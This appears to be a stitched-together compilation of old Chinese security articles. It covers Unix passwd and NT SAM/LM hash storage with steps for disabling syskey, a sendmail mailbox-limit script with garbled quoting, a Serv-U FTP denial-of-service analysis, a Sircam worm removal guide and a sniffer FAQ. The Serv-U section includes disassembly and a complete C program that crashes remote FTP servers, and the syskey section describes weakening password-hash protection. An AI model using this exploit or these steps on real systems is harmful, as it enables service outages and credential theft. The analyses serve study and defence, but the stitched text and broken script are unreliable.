9: news:*:9:13:news:/var/spool/news:
10: uucp:*:10:14:uucp:/var/spool/uucp:
11: operator:*:11:0perator:/root:
12: games:*:12:100:games:/usr/games:
13: gopher:*:13:30:gopher:/usr/lib/gopher-data:
14: ftp:*:14:50:FTP User:/home/ftp:
15: nobody:I0iJ.:99:99:Nobody:/home/httpd:/bin/bash
16: david:c6CuzM:500:500::/home/david:/bin/bash
17: dummy:fIVTl4IgU:501:503::/home/dummy:/bin/bash
18: msql:!!:502:504::/home/msql:/bin/bash
unix中的passwd文件中每一行都代表一个用户资料，每一个账号都有七部分资料,不同资料中使用":"分割格式如下
账号名称:密码:uid:gid:个人资料:用户目录:shell
除了密码是加密的以外(这里的密码部分已经shadow了)其他项目非常清楚明了。
而NT中就不是这样,虽然他也是用文件保存账号信息,不过如果我们用编辑器打开这些NT的sam文件，除了乱码什么也看不到。因为NT系统中将这些资料全部进行了加密处理，一般的编辑器是无法直接读取这些信息的。注册表中的
HKEY_LOCAL_MACHINE\SAM\SAM
HKEY_LOCAL_MACHINE\SECURITY\SAM
保存的就是SAM文件的内容，在正常设置下仅对system是可读写的。

*** NT的帐号信息在SAM文件中是如何存储的呢？***

在SAM文件中保存了两个不同的口令信息：LanManager（LM）口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。我们来看看LM口令算法是如何加密口令的，考虑这样一个口令：Ba01cK28tr,这样的口令已经可以称的上是一个安全的口令了，虽然没有!#等特殊字符，但是已经包含大写字母，小写字母和数字，并且具有无规律性。可以认为是符合安全的要求的一个口令。
LM对口令的处理方法是：如果口令不足14位，就用0把口令补足14位，并把所有的字母转称大写字母。之后将处理后的口令分成两组数字，每组是7位。刚才我们所提到的口令经处理后就变成BA01CK2和8TR0000部分。然后由这两个7位的数字分别生成8位的DES KEY，每一个8位的DES KEY都使用一个魔法数字(将0x4B47532140232425用全是1的一个KEY进行加密获得的)再进行一次加密，将两组加密完后的字符串连在一起，这就是最终的口令散列。这个字符传看起来是个整体，但是象L0phtcrack这样的破解软件，他能将口令字符串的两部分独立的破解，因此，破解上面所提到口令(10位)，由于口令已经被分解为两部分破解，而后面的那部分口令由于只有3位，破解难度可想而知并不困难。实际的难度就在前面的七位口令上了。因此就NT而言，一个10位的口令与一个7位的口令相比并没有太高的安全意义。由此还可以了解：1234567*$#这样的口令可能还不如SHic6这样的口令安全。(关于如何设置安全口令的问题不是本文的范围，有兴趣的可以参考相关文章)
而正式的口令(加密NT版)是将用户的口令转换成unicode编码，然后使用MD4算法将口令加密。

NT之所以保留两种不同版本的口令是由于历史原因造成的，在一个纯NT的环境中应该将LAN manager口令关闭。因为LAN manager口令使用了较弱的DES密钥和算法，比较容易破解。相比较之下，使用较强加密算法的NT正式口令要安全些。
但是这两种口令的加密方法从总体上来说强度还是不足，因此，微软在win NT4的SP3之和以后的补丁中，提供了一个syskey.exe的小工具来进一步加强NT的口令。这个软件是可以选择使用的，管理员只要运行一下这个程序并回答一些设置问题就可以添加这项增强功能。(windows2000已经作为缺省安装设置了)
syskey被设计用来防止轻易获得SAM口令，它是如何工作的呢？
当syskey被激活，口令信息在存入注册表之前还进行了一次加密处理。然而,在机器启动后，一个旧的格式的信息还是会保存在内存中，，因为这个旧格式的口令信息是进行网络验证的所需要的。
可以这样认为:syskey使用了一种方法将口令信息搞乱。或者说使用了一个密钥，这个密钥是激活syskey由用户选择保存位置的。这个密钥可以保存在软盘，或者在启动时由用户生成(通过用户输入的口令生成)，又或者直接保存在注册表中。由于没有官方的正式技术说明如何关闭syskey，所以syskey一旦启用就无非关闭，除非用启用syskey之前的注册表备份恢复注册表。

*** 将syskey激活后系统有什么发生了什么，如何关掉syskey呢?***

-1-

将syskey激活后，在注册表HKLM\System\CurrentControlSet\Control\Lsa下被添加了新的键值'SecureBoot'中保存了syskey的设置：
1 - KEY保存在注册表中
2 - KEY由用户登录时输入的口令生成
3 - KEY保存在软盘中
但是把主键删除或者把值设成0并没能将syskey关闭，看来还有其他的地方......

-2-
HKLM\SAM\Domains\Account\F 是一个二进制的结构，通常保存着计算机的SID和其他的描述信息。当syskey被激活后，其中的内容就变大了(大小大约是原来的两倍) 增加的部分估计是加密的KEY+一些标记和其他的数值,这些标记和数值中一定有一部分包括 SecureBoot 相同的内容。所以，在NT4(已安装SP6补丁包)将这些标记位设为0可能就可以关闭syskey了。在改变这些设置时系统给出了一个错误提示说明SAM和系统设置相互冲突，但是在重新启动计算机后，系统已经不再使用syskey了。

-3-
再win2000中还有另一个地方还存储着关于syskey的信息
HKLM\security\Policy\PolSecretEncryptionKey\
这也是一个二进制的结构，也是使用同样的存储方式，将这里相应部分同样设为0,syskey就已经从win2000中移除了。(如果这三部分修改出现错误(不一致)，系统会在下次启动是自动恢复为默认值)

-4-
， 然后就是口令信息部分。旧的口令信息是长度是16字节，但使用syskey后长度全部被增加到20字节。其中头四个字节看起来想是某种计数器，可能是历史使用记录计数器。奇怪的是，当syskey被激活时，他并不立即记录，而是在系统下次启动时才记录。而且，当密钥被改变时，口令信息似乎并没有相应更新


sendmail中一种限定用户邮箱大小的实用方法

目前，在Linux/Unix平台上，Sendmail因成为缺省安装的邮件服务器而得到非常广泛的应用。但是Sendmail本身并不具有限定用户邮箱大小的功能，所以，如果某些用户长时间不取信或设定了保留邮件副本，其信件将在服务器上不断堆积，以致邮箱越来越大，占用大量的硬盘空间，很多网络管理员对此都很有意见。这里介绍一种简单实用的方法，通过它，我们可以很方便灵活地对用户邮箱的大小进行设定。

一、 基本思路

---- 先设定一个用户邮箱大小的门限值;然后定期启动一个进程，检查每一个用户邮箱文件的大小，将所有超过这一限值的邮箱文件名临时写进某一特定的文件中; 再读取该文件，将它写进Sendmail 的黑名单(blacklist_recipients) 中，从而使邮件服务器拒收该用户的新邮件，直到下次检查时该邮箱大小已小于设定的门限值为止。

二、运行环境

---- 我们以Solaris 2.7操作系统为例进行说明，其他Unix(或Linux)系统可参照来做。

---- 本文以Sendmail 8.11.3为例，若无该版本的Sendmail运行软件，可到http://freesoft.cei.gov.cn或 http://www.sendmail.org站点下载。

三、具体操作

---- 1． 下载编译
---- 在Sendmail软件包已下载到当前目录后即可进行编译，操作步骤如下。
---- $ gzip -dc sendmail.8.11.3.tar.gz | tar -xf - (Gzip 是一个压缩/解压缩的工具，相当于 Windows平台上的WinZip，在网上能很容易地找到并下载)
---- $ cd sendmail-8.11.3/sendmail
---- $ ./Build
---- (编译Sendmail )

---- 2． 安装
---- # ./Build install
---- (用超级用户身份安装)

---- 3． 生成配置文件
---- # cd ../cf/domain
---- # vi generic.m4
---- 此时，在文件的末尾增加如下两行内容。
---- FEATURE('access_db','dbm /etc/mail/access')dnl
---- FEATURE('blacklist_ recipients')dnl
---- 然后，我们可以按着输入以下内容。
---- # cd ../cf
---- # m4 ../m4/cf.m4 ./generic-solaris2.mc > ./sendmail.cf
---- # cp ./sendmail.cf /etc/mail/

---- 4．生成 access 文件及邮件服务器名称的参数文件
---- # cd /etc/mail
---- # makemap dbm access < /dev/null
---- # vi local-host-names
---- (该文件是一个文本文件，内容为本地邮件服务器的域名和别名，它们之间要用回车分隔。详见Readme文件的有关介绍)

---- 5． 启动Sendmail
---- # /usr/lib/sendmail -bd -q30m

---- 6． 编缉限制邮箱大小的程序
---- 用sh命令编缉一个限制邮箱大小的程序，然后用操作系统的定时执行功能crontab设定其执行的频率，内容如下。
---- # vi /etc/mail/limit_mailbox.sh
---- (内容见附录)
---- # chmod u+x /etc/mail/limit_mailbox.sh
---- # crontab -e

---- 接着，我们可以输入以下内容。

---- 0 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 * * * /etc/mail/limit_mailbox.sh 10

---- 它表示在每天6:00～20:00间，每隔1小时启动一次，检查邮箱大小的sh命令。用户也可根据实际情况进行调整。“10”表示邮箱大小的门限值为10MB。

四、附录limit_mailbox.sh 源代码

---- #!/usr/bin/ksh
---- # search the mailbox larger than MAXSIZE , then set this mailbox full and reject new mails

error() {
echo " $1 "
exit 1
}
BIN=/usr/bin
MAIL=/etc/mail
#Sendmail 参数文件所在的目录
MAILDIR=/var/mail
#存放邮箱文件的目录
ACCESS=access.db
#用于临时存放超过门限值的邮箱名
SUBACCESS=access.sub
#用于存放额外的收、转发限制规则
if [ $# -lt 1 ]; then
error "Must set the MAX mailbox size with the command!"
fi
if [ $1 -le 0 ] ; then
error " Mailbox Size < 0, Failed"
fi
((MAXSIZE=$1*1024*1024))
if [ -f $MAIL/$SUBACCESS ]; then
$BIN/cat $MAIL/$SUBACCESS > $MAIL/$ACCESS ' '
error "piping $MAIL/$SUBACCESS into $MAIL/$ACCESS, Failed"
else
> $MAIL/$ACCESS' 'error "clearing $MAIL/$ACCESS, Failed"
fi
cd $MAILDIR' 'error "entering $MAILDIR Failed"
for box in '$BIN/find .
! -user root -size +"$MAXSIZE"c -type f -print'; do
case $box in
.|..|./.*.pop)
;;
*)
mailuser=${box#./}
echo "To:$mailuser@
ERROR:550 $mailuser's Mailbox is full " >> $MAIL/$ACCESS
;;
esac
done
cd $MAIL || error " entering $MAIL Failed"
/usr/sbin/makemap dbm access
< ./$ACCESS || error "makemaping access Failed"
exit 0'


Serv-U远程拒绝服务漏洞以及原因分析

原创：isno（isno）
来源：www.xfocus.org

serv-u ftp server远程拒绝服务漏洞以及原因分析

涉及程序版本：
serv-u ftp server v4.0.0.4（以前版本也可能存在该漏洞，没有测试过）

漏洞类型：
远程拒绝服务

漏洞描述：
前几天使用了一下rhinosoft出品的serv-u ftp，感觉还不错，简单
测试了一下其安全性，发现当用匿名用户登陆后，发送list nnnn...命令，
后跟的字符数量达到253字节时，服务端报错，并且错误对话框无法关闭，
只能重启serv-u ftp服务才行。
由于是由长字符串造成的，我一开始还认为是溢出之类的漏洞。后来
经过深入分析程序汇编代码，发现这不是一般的溢出，甚至可以说不是
serv-u的本身程序的问题，而是一个win32 api的设计上的bug。
getfullpathnamea这个api用来获取指定文件的路径，但是它在处理
长文件名时没有考虑好边界条件，造成可能访问到不存在的内存地址，
在serv-u的例子里就造成了拒绝服务攻击。本来一般像这种访问不存在
内存的漏洞，程序的异常处理都可以回恢复过来的，不至于造成程序崩溃，
但是正是由于这个问题是由系统dll出错而造成的，而不是应用程序本身
的问题，所以应用程序的异常处理例程无法正确处理该问题，从而导致了
服务端程序崩掉。
不仅仅是list命令受该漏洞影响，所有后跟参数是文件名的命令都有
这个问题，例如mdtm等等。另外触发这个漏洞的串长度是根据ftp根目录的
设置不同而定的，我写了个程序来测试该漏洞，程序见后面。
由于这个漏洞无法用来得到权限，所以也懒得报告到bugtraq上去了，
不过分析漏洞的过程还是让我有点收获，起码知道了编程中哪些地方是程
序员容易忽视而造成安全漏洞的地方，微软的程序员也一样犯这样的错误。

程序分析：

下面是通过对该程序的反汇编代码的分析来结束造成该漏洞的原因。
由于反汇编出的代码有几十m之大，分析的时候难免出错，敬请各位发现
问题的同志指出。
serv-u在接受到list nnn...命令后对文件名进行处理，会进入下面
这一段程序：
* referenced by a call at addresses:
|:005a4a8f , :005a4c97
|
:005a338c 55 push ebp
:005a338d 8bec mov ebp, esp
:005a338f 83c4f8 add esp, fffffff8
:005a3392 53 push ebx
:005a3393 56 push esi
:005a3394 57 push edi
:005a3395 8b7d08 mov edi, dword ptr [ebp+08]
:005a3398 6804010000 push 00000104
:005a339d e802f9feff call 00592ca4
:005a33a2 59 pop ecx
:005a33a3 8bd8 mov ebx, eax
:005a33a5 85c0 test eax, eax
:005a33a7 7507 jne 005a33b0
:005a33a9 33c0 xor eax, eax
:005a33ab e9a9000000 jmp 005a3459

* referenced by a (u)nconditional or (c)onditional jump at address:
|:005a33a7(c)
|
:005a33b0 8d55fc lea edx, dword ptr [ebp-04]
:005a33b3 52 push edx
:005a33b4 53 push ebx
:005a33b5 6804010000 push 00000104
:005a33ba 8b4d0c mov ecx, dword ptr [ebp+0c]
:005a33bd 51 push ecx ;这里是ftp跟目录加上list参数

* reference to: kernel32.getfullpathnamea, ord:0000h
|
:005a33be e89f630100 call 005b9762 ;调用getfullpathnamea

;-------------------------------------------------------------------------------------------
;调用到kernel32.dll里的getfullpathnamea函数
exported fn(): getfullpathnamea - ord:012ah
:77e80dbd 55 push ebp
:77e80dbe 8bec mov ebp, esp
:77e80dc0 83ec24 sub esp, 00000024
:77e80dc3 53 push ebx
:77e80dc4 56 push esi
:77e80dc5 8b7514 mov esi, dword ptr [ebp+14]
:77e80dc8 33db xor ebx, ebx
:77e80dca f7de neg esi
:77e80dcc 57 push edi
:77e80dcd 8d45fc lea eax, dword ptr [ebp-04]
:77e80dd0 ff7508 push [ebp+08]
:77e80dd3 895df8 mov dword ptr [ebp-08], ebx
:77e80dd6 1bf6 sbb esi, esi
:77e80dd8 23f0 and esi, eax
:77e80dda 8d45ec lea eax, dword ptr [ebp-14]
:77e80ddd 50 push eax
:77e80dde e81e89feff call 77e69701
:77e80de3 85c0 test eax, eax
:77e80de5 0f84039c0000 je 77e8a9ee
:77e80deb 64a118000000 mov eax, dword ptr fs:[00000018]
:77e80df1 8b4030 mov eax, dword ptr [eax+30]
:77e80df4 bf0a020000 mov edi, 0000020a ;长度限制，不正确！！！
;这里0x20a是分配的堆的大小，同时也作为后边判断rtlgetfullpathname_u
;返回长度的比较长度的限制
:77e80df9 57 push edi
:77e80dfa ff35b0f7eb77 push dword ptr [77ebf7b0]
:77e80e00 ff7018 push [eax+18]
;分配0x20a字节的内存堆
* reference to: ntdll.rtlallocateheap, ord:014ah
|
:77e80e03 ff150410e677 call dword ptr [77e61004]
:77e80e09 3bc3 cmp eax, ebx
:77e80e0b 8945f4 mov dword ptr [ebp-0c], eax
:77e80e0e 0f84c69b0000 je 77e8a9da
:77e80e14 56 push esi
:77e80e15 50 push eax
:77e80e16 6808020000 push 00000208
:77e80e1b ff75f0 push [ebp-10]
;rtlgetfullpathname_u用来得到路径的unicode字符串，这个函数是由长度限制的，
;当长度大于0x208的时候无法正确得到路径，即无法正确拷贝串到ebp-0c中。
* reference to: ntdll.rtlgetfullpathname_u, ord:01e7h
|
:77e80e1e ff15ac10e677 call dword ptr [77e610ac]
:77e80e24 3bc7 cmp eax, edi ;这个判断不对，应该跳到错误处理去！
;但是由于前面的限制是0x20a，所以当用0x20a长的字符串时就会判断出错，
;不会进入错误处理去，而是继续对没有得到内容的堆内存进行后面的操作，
;这就是出错的根源
:77e80e26 894508 mov dword ptr [ebp+08], eax
:77e80e29 0f87cc9b0000 ja 77e8a9fb

* reference to: ntdll.rtlunicodetomultibytesize, ord:0294h
|
:77e80e2f 8b356010e677 mov esi, dword ptr [77e61060]
:77e80e35 50 push eax
:77e80e36 ff75f4 push [ebp-0c]
:77e80e39 8d4508 lea eax, dword ptr [ebp+08]
:77e80e3c 50 push eax
:77e80e3d ffd6 call esi ;call rtlunicodetomultibytesize
:77e80e3f 3bc3 cmp eax, ebx
:77e80e41 0f8cae9b0000 jl 77e8a9f5
:77e80e47 395d08 cmp dword ptr [ebp+08], ebx
:77e80e4a 0f8491000000 je 77e80ee1
:77e80e50 395d14 cmp dword ptr [ebp+14], ebx
:77e80e53 7420 je 77e80e75
:77e80e55 8b45fc mov eax, dword ptr [ebp-04]
:77e80e58 3bc3 cmp eax, ebx
:77e80e5a 7419 je 77e80e75
:77e80e5c 2b45f4 sub eax, dword ptr [ebp-0c]
:77e80e5f d1f8 sar eax, 1
:77e80e61 d1e0 shl eax, 1
:77e80e63 50 push eax
:77e80e64 8d45f8 lea eax, dword ptr [ebp-08]
:77e80e67 ff75f4 push [ebp-0c]
:77e80e6a 50 push eax
:77e80e6b ffd6 call esi ;call rtlunicodetomultibytesize----出错！！！
;第2次调用rtlunicodetomultibytesize的时候会把上面的错误显现出来
:77e80e6d 3bc3 cmp eax, ebx
:77e80e6f 0f8c809b0000 jl 77e8a9f5

;-------------------------------------------------------------------------------------------

最后一个call esi调用这里
exported fn(): rtlunicodetomultibytesize - ord:0296h
:77f83ea4 8b44240c mov eax, dword ptr [esp+0c]
:77f83ea8 56 push esi
:77f83ea9 33f6 xor esi, esi
:77f83eab d1e8 shr eax, 1
:77f83ead 803d14f3fc7700 cmp byte ptr [77fcf314], 00
:77f83eb4 0f8598d30100 jne 77fa1252 ;会转到77fa1252去执行
:77f83eba 8b4c2408 mov ecx, dword ptr [esp+08]
:77f83ebe 8901 mov dword ptr [ecx], eax
:77f83ec0 33c0 xor eax, eax
:77f83ec2 5e pop esi
:77f83ec3 c20c00 ret 000c

;-------------------------------------------------------------------------------------------

跳到这里
* referenced by a (u)nconditional or (c)onditional jump at address:
|:77f83eb4(c)
|
:77fa1252 8bc8 mov ecx, eax
:77fa1254 48 dec eax
:77fa1255 85c9 test ecx, ecx
:77fa1257 7424 je 77fa127d
:77fa1259 8b4c240c mov ecx, dword ptr [esp+0c]
:77fa125d 57 push edi
:77fa125e 8d7801 lea edi, dword ptr [eax+01]

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa127a(c)
|
:77fa1261 0fb701 movzx eax, word ptr [ecx]
;这里会有个循环不断的取ecx的值，也就是前边rtlallocateheap分配的那个堆，
;因为前面那个堆里没有正确存放内容，所以会造成不跳出循环，从而一直取到
;内存页面不存在的地方，即0x00152000（也可能是别的值，由堆地址所定）。

:77fa1264 8b155404fd77 mov edx, dword ptr [77fd0454]
:77fa126a 41 inc ecx
:77fa126b 41 inc ecx
:77fa126c 668b0442 mov ax, word ptr [edx+2*eax]
:77fa1270 33d2 xor edx, edx
:77fa1272 8ad4 mov dl, ah
:77fa1274 84d2 test dl, dl
:77fa1276 7510 jne 77fa1288
:77fa1278 46 inc esi

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa128a(u)
|
:77fa1279 4f dec edi
:77fa127a 75e5 jne 77fa1261
:77fa127c 5f pop edi

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa1257(c)
|
:77fa127d 8b442408 mov eax, dword ptr [esp+08]
:77fa1281 8930 mov dword ptr [eax], esi
:77fa1283 e9382cfeff jmp 77f83ec0

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa1276(c)
|
:77fa1288 46 inc esi
:77fa1289 46 inc esi
:77fa128a ebed jmp 77fa1279

漏洞测试程序：

/*
serv-u ftp server 4.0 remote dos
by isno(isno@xfocus.org)
*/
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")

void main(int argc, char *argv[])
{
//anonymous ftp user and passwd
char user[] = "user ftp\r\n";
char pass[] = "pass bug@rhinosoft.com\r\n";
char buff[1024];
int s, i;
struct hostent *ht;
struct sockaddr_in sin;
wsadata wsadata;

if(argc != 2)
{
printf("usage: %s host\r\n",argv[0]);
exit(0);
}
if(wsastartup (makeword(1,1), &wsadata) != 0)
{
printf("wsastartup failed.\n");
wsacleanup();
exit(1);
}
if((ht = gethostbyname(argv[1])) == 0)
{
printf("cannot resolve %s\n",argv[1]);
exit(1);
}
sin.sin_port = htons(21);
sin.sin_family = af_inet;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if((s = socket(af_inet, sock_stream, 0)) == -1)
{
printf("cannot setup socket\r\n");
exit(1);
}
if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
{
printf("cannot connect\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);
printf("%s\r\n",user);
memset(buff,0,sizeof(buff));
if(send(s, user, strlen(user), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);
printf("%s\r\n",pass);
memset(buff,0,sizeof(buff));
if(send(s, pass, strlen(pass), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);

//try long para from 200 to 300 bytes
for(i=200;i<300;i++)
{
printf("send list nnn...(%d bytes)\r\n",i);
memset(buff,0,sizeof(buff));
memcpy(buff,"list ",5);
memset(buff+5,0x4e,i);
memcpy(buff+5+i,"\r\n",2);
if(send(s, buff, strlen(buff), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("0verflow!\r\n");
return;
}
}
closesocket(s);
printf("target is not vuln\r\n");
return;
}


Sircam蠕虫病毒

发信人: aye (阿叶), 信区: Hacker
标 题: Worm.Sircam.137216(cam先生）详细资料及手工清除(zz
发信站: 哈工大紫丁香 (2001年07月29日21:27:33 星期天), 站内信件

Sircam蠕虫病毒
    一种在美国发现的新邮件病毒"Worm.Sircam.Worm@mm "最近正在互联网上蔓延，并
已扩散至亚太地区。从上周五开始，我国大陆地区的许多用户也已经感染此病毒。金山
毒霸反病毒研发部门已在最新的版本中加入对此病毒的查杀，并特制清除该病毒的小工
具。
    这种病毒特点在于善变、难以防范，其主题及附件名称不固定，主要借邮件进行传
播，一旦运行了邮件附件，系统将被感染，病毒将寻找系统中通讯簿中的邮件地址，自
动向其它人转发病毒邮件。 它不同于与往的蠕虫病毒是会从"My Documents"中随机寻找
一个文件作为附件，并将主题与邮件内容改为与附件文件名相同，所以它没有固定的主
题及内容。发作后它将删除系统中的所有文件。
病毒名称：Worm.Sircam.137216 （金山毒霸命名）
病毒类型：蠕虫病毒
病毒简介：运行该病毒之后，它会将自身复制到windows的system目录，名为Scam32.ex
e，并修改注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run Services\D
river32指向该文件。以便下次启动时启动。病毒发送附件时会选择一个正常文件做伪装
，将自身代码放在前面，正常文件附加在后面。 邮件正文是如下的一段英文或西班牙文
，中间内容有可能出入，但首尾两句不变。
英文：Hi! How are you?
     I send you this file just to have your advice(中间一句有可能不是这样的)
See you later. Thanks
西班牙文：Hola como estas ?
     (中间内容有可能是多种情况，首尾不变)
     Last line: Nos vemos pronto, gracias.
病毒危害：
    1. 每一次系统启动时，会在你的硬盘上写数据，直到填满硬盘；
    2. 通过你的通讯地址薄进行发送，干扰电子邮件服务器；
    3. 删除硬盘文件。（删除的条件为你的机器使用 "日/月/年"的日期格式）；
    4. 选择随机文档，泄漏机密信息。
手工清除：
    1、 清空回收站，因为病毒将自身隐藏在回收站；
    2、 删除Autoexec.bat文件中的"@win ecycledsirc32.exe"
    3、 恢复注册表
    。?） 将regedit.exe改名为regedit.com因为该病毒关联exe文件
    。?） 打开注册表编辑器，查找主键：　　HKEY_CLASSES_ROOT/exefile/shell/
open/command将其键值改为"%1" %*
    。?） 删除主键HKEY_LOCAL_MACHINE/Software/SirCam
    。?） 删除键值HKEY_LOCAL_MACHINE/Software/Microsoft/Windows Current Ve
rsion/Run Services/Driver32
    。?） 将regedit.com改回为regedit.exe

--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 60h87.xjtu.edu.cn]


Sniffer 常见问题集

本文是ISS公司在几年前发布的一份Sniffer FAQ。虽然里面涉及的技术可能相对陈旧了一些，但仍然可作为入门级文档。希望这份Sniffer FAQ能够帮助管理员们对网络监听及解决方法有一个较为清楚的认识。Sniffer已成为当今互联网上最常见的主机入侵手段之一。
FAQ目录：

* 什么是sniffer及其工作原理
* 哪里可以得到sniffer
* 如何监测主机正在窃听（sniffed）
* 阻止sniffer
o 主动集线器
o 加密
o Kerberos
o 一次性口令技术
o 非混杂模式网络接口设备

-------------------------------------------------------------------------------

什么是sniffer及其工作原理

与电话电路不同，计算机网络是共享通讯通道的。支持每对通讯计算机独占通道的交换机/集线器仍然过于昂贵。共享意味着计算机能够接收到发送给其它计算机的信息。捕获在网络中传输的数据信息就称为sniffing（窃听）。

以太网是现在应用最广泛的计算机连网方式。以太网协议是在同一回路向所有主机发送数据包信息。数据包头包含有目标主机的正确地址。一般情况下只有具有该地址的主机会接受这个数据包。如果一台主机能够接收所有数据包，而不理会数据包头内容，这种方式通常称为“混杂”模式。

由于在一个普通的网络环境中，帐号和口令信息以明文方式在以太网中传输，一旦入侵者获得其中一台主机的root权限，并将其置于混杂模式以窃听网络数据，从而有可能入侵网络中的所有计算机。

-------------------------------------------------------------------

哪里可以得到sniffer

Sniffer是黑客们最常用的入侵手段之一。例如Esniff.c，是一个小巧的工具，运行在SunOS平台，可捕获所有telnet、ftp、rloing会话的前300个字节内容。这个由Phrack开发的程序已成为在黑客中传播最广泛的工具之一。

你可以在经过允许的网络中运行Esniff.c，了解它是如何有效地危及本地机器安全。

以下是一些也被广泛用于调试网络故障的sniffer工具：

* Etherfind on SunOs
* Snoop on Solaris 2.x and SunOs
* Tcpdump
* Packetman, Interman, Etherman, Loadman

商用sniffer：

* Network General.

Network General开发了多种产品。最重要的是Expert Sniffer，
它不仅仅可以sniff，还能够通过高性能的专门系统发送/接收数
据包，帮助诊断故障。还有一个增强产品"Distrbuted Sniffer
System"可以将UNIX工作站作为sniffer控制台，而将sniffer
agents（代理）分布到远程主机上。

* Microsoft's Net Monitor

对于某些商业站点，可能同时需要运行多种协议——NetBEUI、
IPX/SPX、TCP/IP、802.3和SNA等。这时很难找到一种sniffer帮助
解决网络问题，因为许多sniffer往往将某些正确的协议数据包当
成了错误数据包。Microsoft的Net Monitor（以前叫Bloodhound）
可以解决这个难题。它能够正确区分诸如Netware控制数据包、NT
NetBios名字服务广播等独特的数据包。（etherfind只会将这些数
据包标识为类型0000的广播数据包。）这个工具运行在MS Windows
平台上。它甚至能够按MAC地址（或主机名）进行网络统计和会话
信息监视。只需简单地单击某个会话即可获得tcpdump标准的输出。
过滤器设置也是最为简单的，只要在一个对话框中单击需要监视的
主机即可。

--------------------------------------------------------------------

如何监测主机正在窃听（sniffed）

要监测只采集数据而不对任何信息进行响应的窃听设备，需要逐个仔细检查以太网上所有物理连接。

不可能通过远程发送数据包或ping就可以检查计算机是否正在窃听。

一个主机上的sniffer会将网络接口置为混杂模式以接收所有数据包。对于某些UNIX系统，通过监测到混杂模式的网络接口。虽然可以在非混杂模式下运行sniffer，但这样将只能捕获本机会话。入侵者也可能通过在诸如sh、telnet、rlogin、in.telnetd等程序中捕获会话，并将用户操作记录到其它文件中。这些都可能通过监视tty和kmem等设备轻易发现。只有混杂模式下的sniffing才能捕获以太网中的所有会话，其它模式只能捕获本机会话。

对于SunOS、NetBSD和其它BSD Unix系统，如下命令：

"ifconfig -a"

会显示所有网络接口信息和是否在混杂模式。DEC OSF/1和IRIX等系统需要指定设备。要找到系统中有什么网络接口，可以运行如下命令：

# netstat -r
Routing tables

Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0

然后通过如下命令检查每个网络接口：

#ifconfig le0
le0: flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1

入侵者经常会替换ifconfig等命令来避开检查，因此一定要检查命令程序的校验值。

在ftp.cert.org:/pub/tools/的cpm程序（SunOS平台）可以检查接口是否有混杂模式标记。

对于Ultrix系统，使用pfstat和pfconfig命令也可能监测是否有sniffer运行。

pfconfig指定谁有权限运行sniffer。
pfstat显示网络接口是否处于混杂模式。

这些命令只在sniffer与内核存在链接时有效。而在缺省情况，sniffer是没有与内核链接的。大多数的Unix系统，例如Irix、Solaris、SCO等，都没有任何标记来指示是否处于混杂模式，因此入侵者能够窃听整个网络而却无法监测到它。

通常一个sniffer的记录文件会很快增大并填满文件空间。在一个大型网络中，sniffer明显加重机器负荷。这些警告信息往往能够帮助管理员发现sniffer。建议使用lsof程序搜索访问数据包设备（如SunOS的/dev/nit）的程序和记录文件。

------------------------------------------------------------------

阻止sniffer

主动式集线器只向目标地址主机发送数据包，从而使混杂模式sniffer失效。它仅适用于10Base-T以太网。（注：这种现在已在计算机市场消失。）

只有两家厂商曾生产过主动式集线器：

* 3Com
* HP

随着交换机的成本和价格的大幅度降低，交换机已成为非常有效的使sniffer失效的设备。目前最常见的交换机在第三层（网络层）根据数据包目标地址进行转发，而不太采取集线器的广播方式，从而使sniffer失去了用武之地。

------------------------------------------------------------------

加密

目前有许多软件包可用于加密连接，从而使入侵者即使捕获到数据，但无法将数据解密而失去窃听的意义。

以下是以前常用的一些软件包

* deslogin
coast.cs.purdue.edu:/pub/tools/unix/deslogin .

* swIPe
ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/

* Netlock

-----------------------------------------------------------------

Kerberos

Kerberos是另一个加密网络中帐号信息的软件包。它的缺点是所有帐号信息都存放在一台主机中，如果该主机被入侵，则会危及整个网络安全。另外配置它也不是一件简单的事情。Kerberos包括流加密rlogind和流加密telnetd等，它可以防止入侵者捕获用户在登录完成后所进行的操作。

Kerberos FAQ可从ftp站点rtfm.mit.edu中得到：
/pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11

------------------------------------------------------------------

一次性口令技术

S/key和其它一次性口令技术一样，使窃听帐号信息失去意义。S/key的原理是远程主机已得到一个口令（这个口令不会在不安全的网络中传输），当用户连接时会获得一个“挑战”(challenge)信息，用户将这个信息和口令经过某个算法运算，产生正确的“响应”(response)信息（如果通讯双方口令正确的话）。这种验证方式无需在网络中传输口令，而且相同的“挑战/响应”也不会出现两次。S/key可从以下网址得到：ftp://thumper.bellcore.com/pub/nmh/skey

还有一种一次性口令技术是ID卡系统。每个授权用户都有一个产生用于访问各自帐号的数字号码的ID卡。如果没有这个ID卡，不可能猜出这个数字号码。

以下是提供这类解决方案的公司资料：

Secure Net Key (SNK)

Digital Pathways, Inc.
201 Ravendale Dr. Mountainview, Ca.
97703-5216 USA

Phone: 415-964-0707 Fax: (415) 961-7487

Secure ID

Security Dynamics,
One Alewife Center
